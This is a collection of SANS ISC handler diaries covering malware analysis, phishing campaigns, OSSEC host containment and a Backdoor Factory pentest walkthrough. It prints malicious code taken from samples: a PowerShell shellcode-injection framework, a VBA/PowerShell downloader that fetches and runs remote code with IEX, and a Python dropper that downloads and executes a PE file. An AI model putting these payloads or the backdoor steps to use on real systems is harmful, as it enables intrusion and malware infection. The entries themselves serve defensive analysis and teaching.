Let's have a look now at line 18. It refers to an object 'manaGEMeNT.AUtomatiON.pScreDENtial' which is used to store encrypted data (I wrote a diary about this technique[2]). Let's decode this! Stop the debugger, remove all breakpoints. At the end of line 18, you see that the extracted code is executed with an 'IEX' command ("Invoke-Expression"). Replace 'iex' with 'echo', put a breakpoint at line 20 (we can't set a breakpoint on a blank line), and launch the debugger again:

Once again, we see a new bunch of PowerShell instructions (that are normally executed). Copy this code and paste it into a new tab. To be able to debug it, save it as 'payload2.ps1'. Tthe code is executed by IEX (obfuscated and marked in the red rectangle):

The code is nicely obfuscated but we won't take too much time on this. Just execute the code without any breakpoint and have a look at the new variables. We have two interesting ones: '$Shellcode32' and '$Shellcode64'. We use the same technique to dump the shellcode into a file:

And we have a shellcode! The next step will be to have a look at this shellcode!

The first chunk of Base64 data that we decoded contains a framework used to perform injection of code into another process:

function Create-Party-Invite
{
<#
.SYNOPSIS
PARTY PARTY PARTY

.DESCRIPTION
Everybody can look it up, now lets just PAAAARTYYYY!

.PARAMETER ProcessID
Process ID of the process you want to party shellcode into.
.PARAMETER Shellcode
Specifies an optional Shellcode passed in as a byte array
.PARAMETER Force
Partys Shellcode without prompting for confirmation.
.EXAMPLE
C:\PS> Create-Party-Invite -Shellcode @(0x00,0x00,0x00)
#>

[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
    [ValidateNotNullOrEmpty()]
    [UInt16]
    $ProcessID,
    [Parameter( ParameterSetName = 'RunLocal' )]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $Shellcode,
    [Switch]
    $Force = $False
)
...

This code is just a fork of some PowerSpoit code[3]. Note also that the injected process is a 'colorcpl.exe' launched by the script.

Conclusion: PowerShell ISE is a great tool to investigate malicious scripts! It could save you a lot of time.

[1] https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/ise/introducing-the-windows-powershell-ise?view=powershell-7
[2] https://isc.sans.edu/forums/diary/Powershell+Payload+Stored+in+a+PSCredential+Object/26058
[3] https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Here is another malicious Word document that I spotted while hunting. "Another one?" may ask some of our readers. Indeed but malicious documents remain a very common infection vector and you learn a lot when you analyze them. I was recently asked to talk about Powershell (de)obfuscation techniques. When you're dealing with an incident in a corporate environment, you don't have time to investigate in deep. The incident must be resolved as soon as possible because the business must go on and a classic sandbox analysis is performed to get the feedback: It's malicious or not.

The document has a nice VT score: 38/64 (SHA256:d317d07872fe22a85824a691b069a6e6ffab09d67bf2ed67b7b65432c0bc882e)[1]. Based on VirusTotal, it  was uploaded for the first time in March but we resubmited recently and deserves a diary for two reasons.

The first one is the obfuscation technique used by the attackers. It mimics perfectly an example of a malicious document that we analyze in the FOR610 training[2]. All interesting strings are XOR-encoded and decoded on the fly with the help of the following function:

Function XorC(ByVal sData As String, ByVal sKey As String) As String
    Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
    Dim bEncOrDec As Boolean
    If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function
    If Left$(sData, 3) = "xxx" Then
        bEncOrDec = False
        sData = Mid$(sData, 4)
    Else
        bEncOrDec = True
    End If
     
    byIn = sData
    byOut = sData
    byKey = sKey
    l = LBound(byKey)
    For i = LBound(byIn) To UBound(byIn) - 1 Step 2
        byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
        l = l + 2
        If l > UBound(byKey) Then l = LBound(byKey)
    Next i
    XorC = byOut
    If bEncOrDec Then XorC = "xxx" & XorC
End Function

Here are some examples:

str = XorC("xxxs ngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH
 nB_GUDCZU^^ UJU", "1")

Deobfuscated:

str = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

How the macro behaves?

First, the Powershell executable is copied into 'C:\Temp\init.exe' then launched with a chunk of Base64-encoded data:

Sub CallP()
    Dim str As String
    str = XorC("xxxsngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH
 nB_GUDCZU^^ UJU", "1")
    Dim tmp As String
    tmp = Environ("TEMP") & "\init.exe"
    Set j = CreateObject(XorC("xxxcSDYBFY`W xY^UcICFU]T\USF", "1"))
    res = j.CopyFile(str, tmp)
    Set wm = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCC", "1"))
    Set wma = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCCcFQDFEB", "1"))
    wma.ShowWindow = 0
    str = tmp & XorC("xxxW\9'W\9@W\W WS_.#Y4 ,MM8&6@@Y2& _.6
,MM15AC& _R", "v")
    str = str & "W1N5c3RlbS5OZXQuU2Vydml ... [Base64 data] ... ci1qb2luJyc7IElFWCAkZA==')))"
    Result = wm.Create(str, Null, wma, processid)
End Sub

The VBA code is not really obfuscated but the Base64-encoded PowerShell code is different:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={1};
$a = New-Object System.Xml.XmlDocument;
$I=0;
$ip = 'hxxps://2388371974';
$a.Load($(. {param([string]$b,[int]$n,[int]$s,[int]$c);
$p = @(9,5,6,7);
$u={param([int]$g,$x);
sal er Get-Random;$(-join(1..$($g*$($x|er))|%{[char][int]((65..90)+(97..122)|er)})).ToLower()};
'{0}/{1}/{2}/{3}/{4}.{5}' -f $b, $(. $u $n $p), $(. $u $s $p), $(. $u $c $p), $(. $u 1 $p), $(. $u 1 3)} $ip $PSVersionTable.CLRVersion.Major 2 $([IntPtr]::Size/2)));
[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($a.system.culture.info)));
$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};
$d = $r-join'';
IEX $d

This code fetches some XML content thought:

$a = New-Object System.Xml.XmlDocument;

The generated URL is:

hxxps://142[.]91[.]170[.]6/imuvvnguwzlqbxknfoojixkxhqqmrtjplsqu/cfgyolzrlulx/kcojeexiyjlyhypsynqrqdrh/bpucxzv.hxf

From the XML file, another chunk of Base64 data is decoded from the node '$a.system.culture.info':

[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($a.system.culture.info)));

This code is next XOR'd with the key that is extracted from the decoded string above:

$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};

Unfortunately, the XML document can't be fetched (the server returns an HTTP error 500). I tried from multiple locations with multiple User-Agent, no luck.

The second interesting behavior is the way the document body is updated with some content grabbed from a webserver. Here is the document when opened:

And the code used to replace the body with another text:

Sub SetCont()
    Dim objHTTP As Object
    Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    res = objHTTP.SetOption(2, SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS)
    objHTTP.Open "GET", "https://moviedvdpower.com/CV_SEO_ADS_David_Alvarez.txt", False
    objHTTP.send ("")
    ActiveDocument.Content.Text = objHTTP.responseText
End Sub

This is a great way to make the victim confident about the document. In this case, a simple text file is fetched but we could imagine that the attacker will request data based on the victim's environment (like the language). Simple and efficient...

[1] https://www.virustotal.com/gui/file/d317d07872fe22a85824a691b069a6e6ffab09d67bf2ed67b7b65432c0bc882e/detection
[2] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

At the Internet Storm Center, we often receive examples of interesting phishing e-mails from our readers. Of course, this is not the only source of interesting malicious messages in our inboxes – sometimes the phishing authors “cut out the middleman” and send their creations directly to us. Last week, this was the case with a slightly unusual (and slightly broken) phishing, which tries to use legitimate pages overlaid with a fake login prompt.

We were not the first ones to receive a similar message[1], however as our example was slightly different to the one recorded before and the servers, which the attackers used, were still active at the time of writing, I thought this campaign might deserve a second look.

The message itself was a fairly generic phishing, using the commonly seen lure of the type “you have quarantined messages, review them now or they will be deleted”.

The only thing of note in the message was the link, which the victim was supposed to open. It pointed to the following, slightly broken URL.

http[:]//'.$domin.'@antiochspore[.]com[.]sg/portal/?handlers@sans.edu&email=handlers@sans.edu&aGFuZGxlcnNAc2Fucy5lZHU=

It seems that the correct value for the $domin variable was not included in the link, which was supposed to start with “sans.edu”, probably so it would look more legitimate. The link contains three parameters, all of which hold the e-mail address of the recipient – one in plaintext, one in Base64 encoded form and one, where the address is set as value for a parameter named “email”. The latter parameter is the only one which is used by the phishing website for personalization of the content and the inclusion of the other two appears to be completely useless – they may be omitted form the link with no impact on its functionality.

After the URL is opened, the victim is supposed to be redirected from antiochspore[.]com[.]sg to en[.]garden-max[.]eu, where they should see a legitimate page, loaded (in an iframe) from the domain to which the address in the “email” parameter belongs, overlaid with a fake login prompt (see the first picture). This technique, though not new, is imaginative and might lead to convincingly looking results in some cases. In others however, it fails quite spectacularly. Most sites which offer web-based access to e-mail (among others) actively block attempts to be loaded in iframes using the X-Frame-Options HTTP header[2]. If the address in the “email” parameter belongs to such a site, the attempt to load the page in an iframe ends with either only the overlay with login prompt being shown, or – depending on the browser used – results in an error message being displayed under the prompt.

It is worth mentioning that even in cases when the page is displayed correctly, the resulting effect might not always be convincing. For some reason, the overlay has a fixed width set to 1366 pixels.

This means that on larger screens, parts of the underlying page are not covered by it, which looks suspicious to say the least.

Although the technique of overlaying legitimate pages with a fake login prompts is not uninteresting and could potentially be effective against users of certain services, due to use of mechanisms which prevent its effective employment on many modern websites, it hardly presents a mainstream threat.

In case of this campaign, this is compounded by the incorrectly created link with unused parameters and the limited overlay used to cover the legitimate page. This would seem to indicate that whoever is behind this campaign either just used a phishing kit and deployed it with “out of the box” configuration or that they just didn’t spend much time testing their creation.

In any case, although the technique doesn’t pose too large a threat when it comes to real world phishing, it might not be a bad choice for use in a security awareness exercise/phishing tests…

 

Indicators of Compromise (IoCs)
http[:]//antiochspore[.]com[.]sg/portal/
https[:]//en[.]garden-max[.]eu/userfiles/mail/

 

[1] https://cofense.com/message-quarantine-campaign-overlying-potential/
[2] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

-----------
Jan Kopriva
@jk0pr
Alef Nula

Over the past week, I have noticed several phishing emails linked to Salesforce asking to confirm the recipient’s email address.

Sample Header

The body of the email is quite simple. Reviewing the email View Message URL by hovering over the URL or changing email to text mode and comparing it against the correct Salesforce website URL, it clearly shows the client is getting phished.

Email Body

The next thing on the verification list for this email is the SSL certificate of the site; it was created yesterday (18 Sep 2020) and this email was received today (see sample header). The certificate is authenticated by ZeroSSL which is considered an alternative to Let's Encrypt where you can also create for free a certificate valid for 90 day.

ZeroSSL Certificate Information

The root domain associated with login.salesforce.com-secur-login-portal.qualitytags[.]com and www[.] qualitytags[.]com are both resolving to 162.241.159.57 but www[.] qualitytags[.]com is using a Let's Encrypt certificate setup on the 25 Aug 2020 good for 90 days.

Let's Encrypt Certificate Information

These few simple steps can be used to verify the legitimacy of a website by examining the certificate information, its URL and manually do a quick search to confirm the website URL contained in the email is the same as the true website. The From: email address from the header (info@saggioventures[.]com) doesn't match the domain name which would be another clue that something is suspicious. If unsure, it is a good idea to report it to the security team for analysis.

[1] https://zerossl.com
[2] https://letsencrypt.org
[3] https://isc.sans.edu/ipinfo.html?ip=162.241.159.57

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

A few days ago, Didier wrote an interesting diary about embedded objects into an Office document[1]. I had a discussion about an interesting OLE file that I found. Because it used the same technique, I let Didier publish his diary first. Now, let's have a look at the document.

It's an OLE file that contains an embedded object:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin
  1:        76 '\x01CompObj'
  2: O     471 '\x01Ole10Native'
  3:         6 '\x03ObjInfo'
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin -s 2 -d
?pJIkdw.pyC:\Users\CNIyi\Desktop\pJIkdw.py7C:\Users\CNIyi\AppData\Local\Temp\pJIkdw (2).pyr
import socket
import tempfile
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.2.100", 8080))
buf = ""
while True:
  data = s.recv(1024)
  if data:
    buf += data
  else:
    break
s.close
temp = tempfile.gettempdir() + "\\" + "JcNrGlx.exe"
f = open(temp, "wb")
f.write(buf)
f.close
f = None
os.system(temp)

The code is easy to understand: It connects to 192.168.2.100:8000, fetches a malicious PE file, dumps it on disk, and executes it. Note the private IP address used (RFC1918). It should be a test file (or from a red-team exercise?). The file hash is 40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988 with a VT score of 5/60[2]. I searched via VT for more information about this file and found the document where it was coming from. 

It's a Word document (9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67) with a VT score of 8/63[3]. The file contains indeed our original OLE file as reported by oledump.py:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx
A: word/vbaProject.bin
 A1:       348 'PROJECT'
 A2:        71 'PROJECTwm'
 A3: M    1327 'VBA/NewMacros'
 A4: m     924 'VBA/ThisDocument'
 A5:      2649 'VBA/_VBA_PROJECT'
 A6:      1082 'VBA/__SRP_0'
 A7:       104 'VBA/__SRP_1'
 A8:        84 'VBA/__SRP_2'
 A9:       107 'VBA/__SRP_3'
A10:       570 'VBA/dir'
B: word/embeddings/oleObject1.bin
 B1:        76 '\x01CompObj'
 B2: O     471 '\x01Ole10Native'
 B3:         6 '\x03ObjInfo'

The macro in stream 3 is very simple:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx -s 3 -v
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
'
' AutoOpen Macro
'
'
    ActiveDocument.Shapes("Object 2").Select
    Selection.ShapeRange(1).OLEFormat.DoVerb VerbIndex:=wdOLEVerbPrimary
End Sub

The method (OLEFormat.DoVerb) requests an OLE object to perform the verb passed as argment[4]. 'wdOLEVerbPrimary' means to perform the verb that is invoked when the user double-clicks the object. The code will be executed only if Python is available on the targeted host.

The Word document seems corrupted and doesn't open properly in my sandbox. But looking at the files inside the zip archive, you discover that the OLE file is indeed embedded:

<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="embeddings/oleObject1.bin"/>

And:

<o:OLEObject Type="Embed" ProgID="Package" ShapeID="_x0000_s1026" DrawAspect="Content" ObjectID="_1400592552" r:id="rId7"/>

Yesterday, I found new occurrences of the same OLE file but trying to connect to other IP addresses:

• 192.168.2.108:8080
• 192.168.1.4:8080
• %%ip:156.132.142.28%%:99

Interestingly, the last IP address (the routable one) belongs to uscourts.gov (United States Courts)! The purpose of the file is still unclear but, being based on a Python payload, I presume the victim is targeted. Or, as I already did in the past, I spotted a red-team exercise preparation?

[1] https://isc.sans.edu/forums/diary/Office+Documents+with+Embedded+Objects/26558/
[2] https://bazaar.abuse.ch/sample/40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988/
[3] https://bazaar.abuse.ch/sample/9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67/
[4] https://docs.microsoft.com/en-us/office/vba/api/word.oleformat.doverb

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When a host is compromised/infected on your network, an important step in the Incident Handling process is the “containment” to prevent further infections.  To place the device into a restricted environment is definitively better than powering off the system and, probably, lose some pieces of evidence.

Endpoint protection solutions are the "in" thing for a while. Instead of using standard AV tools, those solutions implement more control and try to block attackers directly. One of the features they implement is a containment solution to prevent a compromised host to communicate over the network, except with the endpoint management console. An endpoint solution can be expensive if you have a lot of hosts to protect and… it’s (again) a new agent to deploy on them.

I’m a big fan of OSSEC[1] and I already wrote a few diaries about it[2][3]. Today, I’ll demonstrate how you can implement the function described above without an expensive solution. OSSEC has a feature called ‘Active-Response’ that helps to execute scripts on agents in case of specific alerts or… on demand!

I wrote a Windows command line script that temporarily replaces the existing local firewall rules by a very restricted new set:

• Communication with the OSSEC server is still allowed
• An IP address is allowed on all ports TCP/UDP
• All remaining traffic is blocked

This allows a security team to temporarily isolate a suspicious computer from the network and to start some investigations by allowing a SIFT Workstation to connect to the host.

To configure this, in your ossec.conf file, create the new active-response setup:

<command>
    <name>contain-host</name>
    <executable>contain-me.cmd</executable>
    <expect>srcip</expect>
    <timeout_allowed>no</timeout_allowed>
</command>

Note: It’s important to not configure any timeout to prevent the host to be “unconfined” automatically.

Then, create the active-response action:

<active-response>
    <command>contain-host</command>
    <location>local</location>
    <level>10</level>
    <rules_id>99999999</rules_id>
</active-response>

If you want to automatically contain a host, you may create rules: use 'rules_group' or 'rules_id'. My rule_id ‘99999999’ will never trigger because it looks for something that will never happen! This way, you can prevent an automatic containment of a host.

Finally, deploy the script in the right directory (%OSSECPATH%\active-response\bin) on all your OSSEC monitored hosts and you're good to go!

How to contain a host, manually? OSSEC has a command to achieve this:

[root@ossec bin]# ./agent_control -u 011 -f contain-host0 -b 192.168.254.212

Where '011' is the agent ID you'd like to contain and 'contain-host0' is the defined active-response action. In the case above, 192.168.254.212 is the IP address of the incident handler that will investigate the suspicious host.

Here is a copy of the script:

:: Script to block all traffic except interesting hosts:
:: - The OSSEC server
:: - Incident Handling workstation (ex: a SANS SIFT)
:: Parameters:
:: - %1 = ADD|DELETE
:: - %2 = User (unused)
:: - %3 = IP address to whitelist

@echo off

:: Generate timestamp variables
for /F "TOKENS=1* DELIMS= " %%A IN ('DATE/T') DO SET DAT=%%A %%B
for /F "TOKENS=1-3 DELIMS=:" %%A IN ("%TIME%") DO SET TIM=%%A:%%B:%%C

:: Extract the OSSEC server IP address from config
setlocal EnableDelayedExpansion
(for /F "delims=" %%a in ('findstr /R "<server-ip>.*</server-ip>$" "%OSSECPATH%ossec.conf"') do (
set "line=%%a"
set "line=!line:*<server-ip>=!"
for /F "delims=<" %%b in ("!line!") do set OSSECIP=%%b
))
if /I "%OSSECIP%"=="" goto ERROR2

:: Check for required arguments
if /I "%1"=="" goto ERROR
if /I "%2"=="" goto ERROR
if /I "%3"=="" goto ERROR

:: Check for a valid IP
echo "%3" | %WINDIR%\system32\findstr.exe /R "\." >nul || goto ERROR

if /I "%1"=="add" goto ADD
if /I "%1"=="delete" goto DEL

:ERROR
echo Invalid argument(s).
echo Usage: contain-me.cmd ^(ADD^|DELETE^) user IP_Address
echo Example: contain-me.cmd ADD - 1.2.3.4
exit /B 1

:ERROR2
echo Cannot find OSSEC server IP address in ossec.conf
exit /B 1

:ADD

:: Save the existing firewall rules
del %OSSECPATH%fw-backup.wfw" >nul
%WINDIR%\system32\netsh advfirewall export "%OSSECPATH%fw-backup.wfw"
%WINDIR%\system32\NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no
:: Allow the OSSEC server IP
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow ICMP in" dir=in protocol=icmpv4 action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow ICMP out" dir=out protocol=icmpv4 action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server in"  dir=in localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server out" dir=out localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server in/tcp"  dir=in localport=any remoteip=%3/32 protocol=tcp action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server in/udp"  dir=in localport=any remoteip=%3/32 protocol=udp action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server out/tcp" dir=out localport=any remoteip=%3/32 protocol=tcp action=allow
%WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server out/udp" dir=out localport=any remoteip=%3/32 protocol=udp action=allow
%WINDIR%\system32\netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-response\active-responses.log"
goto EXIT

:DEL

:: Restore the saved firewall rules
%WINDIR%\system32\netsh advfirewall import "%OSSECPATH%fw-backup.wfw"
echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-response\active-responses.log"

exit /B 0:

It will automatically extract the OSSEC server IP address from the config file and allow it. It will also backup your existing firewall rules and restore them.

There is no way to automatically restore the connectivity via OSSEC (when it's not automatic). Once you completed the investigations on the host, just restore the previous firewall settings:

C:\Program Files (x86)\ossec-agent\active-response\bin>set OSSECPATH=c:\Program Files (x86)\ossec-agent\
C:\Program Files (x86)\ossec-agent\active-response\bin>contain-me.cmd delete - 192.168.254.212

Or you can write a second active-response script to "uncontain" the host...

I implemented this script for Windows endpoints but it's very easy to implement the same on other operating systems.

[1] https://ossec.net
[2] https://isc.sans.edu/forums/diary/Using+OSSEC+ActiveResponse+as+a+DFIR+Framework/24440
[3] https://isc.sans.edu/forums/diary/Hunting+for+Suspicious+Processes+with+OSSEC/24122

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

We always say how network security is changing every day. Take a long lunch, and you may miss a critical exploit. But sometimes, time appears to stand still. We just passed 1.6 Billion seconds in the Unix Epoch. Back when the Unix timestamp still had 9 digits, in the late 90s also known as "pre Y2K", one of the servers you may have used for backups was Amanda (Advanced Maryland Automatic Network Disk Archiver). Still active and alive today, back then Amanda V 2.3 was current. 

Amanda typically listens on port %%port:10080%%, and while port 10080 is scanned, we see not a lot of scans for that port. Shodan also comes up with "not much" for port 10080.

So I was a bit surprised to see these strings in a recent Mirai type bot I captured:

Amanda 2.3 REQ HANDLE 000-65637373 SEQ 954568800
SERVICE amanda

This particular string is used by Nessus since July 14th 2000 (maybe longer). The version "2.3" is a bit misleading here. This is a request that is typically sent to the Amanda client (not server). Nessus uses this request to detect the client's version. So this may as well look for more recent Amanda client versions.

So is it looking for a 20-year-old version? Possibly not. Why is it looking for backup clients? There are many possibilities:

• Data exfiltration: Unusual for Mirai bots, but this version appears to be "work in progress". Someone may be trying to use this to scan for internal Amanda clients once a network is breached.
• Ransomware: Ransomware doesn't like backups. Again not typical for Mirai, but a simple "delete all files, including backups" is certainly in scope and some Mirai variants like "Bricker Bot" did show destructive behavior.

I am still trying to trigger the Amanda scan behavior. So far, I had no luck with it and all the bot did so far is scan for port 23 (this is why I call it "Mirai"). It also connects to a C2 server at %%ip:45.145.185.94%%. This IP address is hardcoded and no DNS lookup is performed. 

Virustotal: https://www.virustotal.com/gui/file/24f597ad10f4c2be2c27356adde514c59f05a524737f6a7c8461627bbb9b1e5c/detection

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Introduction

Today's diary is another traffic analysis quiz (here's the previous one) where you try to identify the malware based on a pcap of traffic from an infected Windows host.  Download the pcap for today's quiz from this page, which also has a JPG image of the alerts list.  Don't open or review the alerts file yet, because it gives away the answer.

As before, I'll provide the requirements for this quiz and give some background on the infection.

Shown above:  Screenshot of the pcap for this quiz open in Wireshark.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review packet captures (pcaps) of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Customizing Wireshark - Changing Your Column Display
• Using Wireshark - Display Filter Expressions
• Using Wireshark - Exporting Objects from a Pcap

Another requirement: use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

As always, beware, because there's actual malware involved here.

Background on the infection

This infection was caused by a link from an email that returned a Word document.  Unfortunately, I do not have a copy of the email.  The downloaded document has macros designed to infect a vulnerable Windows host.

Shown above:  Link from an email returning a Microsoft Word document.

Here is a link to any.run's sandbox analysis of a document retrieved from the initial URL.  Normally, I state how this type of malware is ineffective against an up-to-date Windows 10 host running the latest version of Microsoft Office with default security settings.

However, I was able to download the Word document from this link without any warnings from Windows, and I merely had to click twice: once to get past Protected View, and one more time to enable macros.  Tamper Protection and all other security measures were in place, but my Windows 10 lab host still became infected.

Shown above:  After downloading the Word document, I checked it with Microsoft Defender, which said it was okay.

Shown above:  Default security settings still allowed me to click twice and get past two warnings (exit Protected View, then enable macros).

Shown above:  Malware binary retrieved by Word macro was not detected or stopped by Microsoft's security measures.

This is a good example of how malware authors can evade security measures baked into Windows 10 and Microsoft applications.  Of course, this type of email has to get through the spam and virus filters before this could happen...  I mean, what are the odds?

Shown above:  A recent email that made it past my spam filters to my inbox.

Apparently, if malware distributors send out enough spam, some of it's bound to reach somebody, somewhere.  This malware is updated often enough, that someone might receive it, click their way through some warnings, and infect their computer.

I guess that's why we still have a thriving market for security vendors and endpoint protection.

Reviewing the Pcap

I went over some of the basics last time, so I won't do that here today.  The alerts should let you know what type of malware is involved, and if more than one type of malware is involved.

Final words

As usual, this quiz might not be hard for an experienced malware analyst, but some of you might find this interesting.  The alerts really give this one away.

Again, a pcap of the traffic and a jpeg image showing associated alerts can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

More than 10 years ago, a first RFC was published describing the ".well-known" directory for web servers. The idea is pretty simple: Provide a standard location for files that are mostly intended for signaling and automatic retrieval. Before the introduction of .well-known, these files often ended up litering the document root, like for example robots.txt being probably the most popular example. Currently, .well-known is defined by RFC8615 [https://tools.ietf.org/html/rfc8615] . 

Over the years, a number of locations were added to .well-known. You can find the authoritative list at IANA [https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml] and I would like to highlight a few of them here:

• acme-challenges

This is likely the most "famous" .well-known location. This directory is used by clients speaking the "ACME" protocol to leave challenges as they are retrieving TLS certificates from services like Let's Encrypt. Your ACME client (e.g. certbot or acme.sh) will drop files in this location. You will not manage these files yourself typically.

• change-password

Oddly not listed at the IANA site, but already implemented in Safari and some large web sites. This URL will redirect to a page that will allow users to change their password. The feature, at least as implemented in Safari, does not appear terribly useful. Only if you change your password using Safari's built in password manager ("Keychain"), will you have the option to be redirected to the "change password" page. But this feature is particularly meant for password managers. I played a bit with it, and find it doesn't work well as you typically need to log in first before changing your password.

• dnt / dnt-policy.txt

A place to leave a privacy polity (DNT = Do Not Track). There are fairly detailed standards describing how to implemented various policies. There are machine and human readable versions of the policy. This feature was a bit designed around the European GDPR rules.

• mta-sts.txt

This file describes the STARTTLS policy for a particular domain. A DNS record will alert a mail server that supports the feature of the policy. The policy will describe which mail servers are covered by it, and what encryption to expect. This feature is supposed to reduce the risk of MitM attacks being used to strip the STARTTLS headers.

• security.txt

A security contact for a particular domain (this is currently a draft, and the URL is not yet listed with IANA). We talked about this in a recent diary. The main goal is to make it easier for researchers to notify a website's owner of vulnerabilities.

• sshfp

Lists SSH server fingerprints. This is a bit interesting but also dangerous. You could end up publishing a great resource for attackers by giving them nice fodder for recognizance. But it is also an ongoing issue that it is difficult to distribute public SSH keys for servers, and they are often not verified correctly by users.

So what's your favorite ".well-known" feature that may not be so well known?

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

When doing pentestings, the establishment of backdoors is vital to be able to carry out lateral movements in the network or to reach the stage of action on objectives. This is usually accomplished by inviting someone to click on a commonly used executable on the computer using social engineering techniques.

In this diary we will work on the Backdoor Factory tool, which can be found at https://github.com/secretsquirrel/the-backdoor-factory. We will use two machines: A linux ubuntu 18.04 and a Windows 10 2004. Kali Linux 2020.3 default installation does not work with this tool as it uses python3 libraries.

Backdoor-factory will be installed on Ubuntu 18.04. Github repository will be cloned and then capstone and pefile will be installed:

Cygwin was used to create the PE binary. Simple hello world application compiled with gcc:

Next, PE binary is uploaded to the linux VM and backdoor-factory will assess it and then show the supported payloads:

Linux IP address will be used to create a reverse tcp shell payload:

Now the tool will be used to create a reverse TCP shell to ip address 192.168.127.141 and TCP port 10000 using the testapplication binary:

The tool ask to pick the cave where the backdoor will be placed. Cave 4 will be used:

Backdoored binary is now available to be transfered to the Windows VM.

Next, a netcat listener is setup to TCP port 10000 in the linux VM:

Patched binary is transferred to the Windows machine and executed:

Now we can see how the reverse shell got connected to the netcat listener:

Manuel Humberto Santander Pelaez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

A reader asked about another malicious file, thinking it is an intentionally corrupt ZIP file.

If you follow the steps I showed in diary entry "Office: About OLE and ZIP Files", you will see that it is not a corrupt ZIP file, but an OLE file containing 2 ZIP files.

 

Once you have listed the PKZIP records with -f L, you will see 2 end-of-central-directory records (PK0506 end), indexed with 1 and 2. You can use this index to select and analyze the found ZIP file, like this:

 

The first ZIP file appears to contain DLLs, and the second ZIP file contains theme data, as I explained in diary entry "Office: About OLE and ZIP Files".

This is indeed an OLE file:

It is a spreadsheet (stream Workbook) with VBA code:

But it also contains an embedded object: remark indicator O for stream 4.

My tool oledump.py can handle embedded objects. Use option -I (info) to get more information:

It is a ZIP file: not only by the file extension .zip, but also by the first 4 bytes of the file: 504B0304

With option -e (extract), you can extract the embedded file to stdout:

This is the first ZIP file we looked at with zipdump.py.

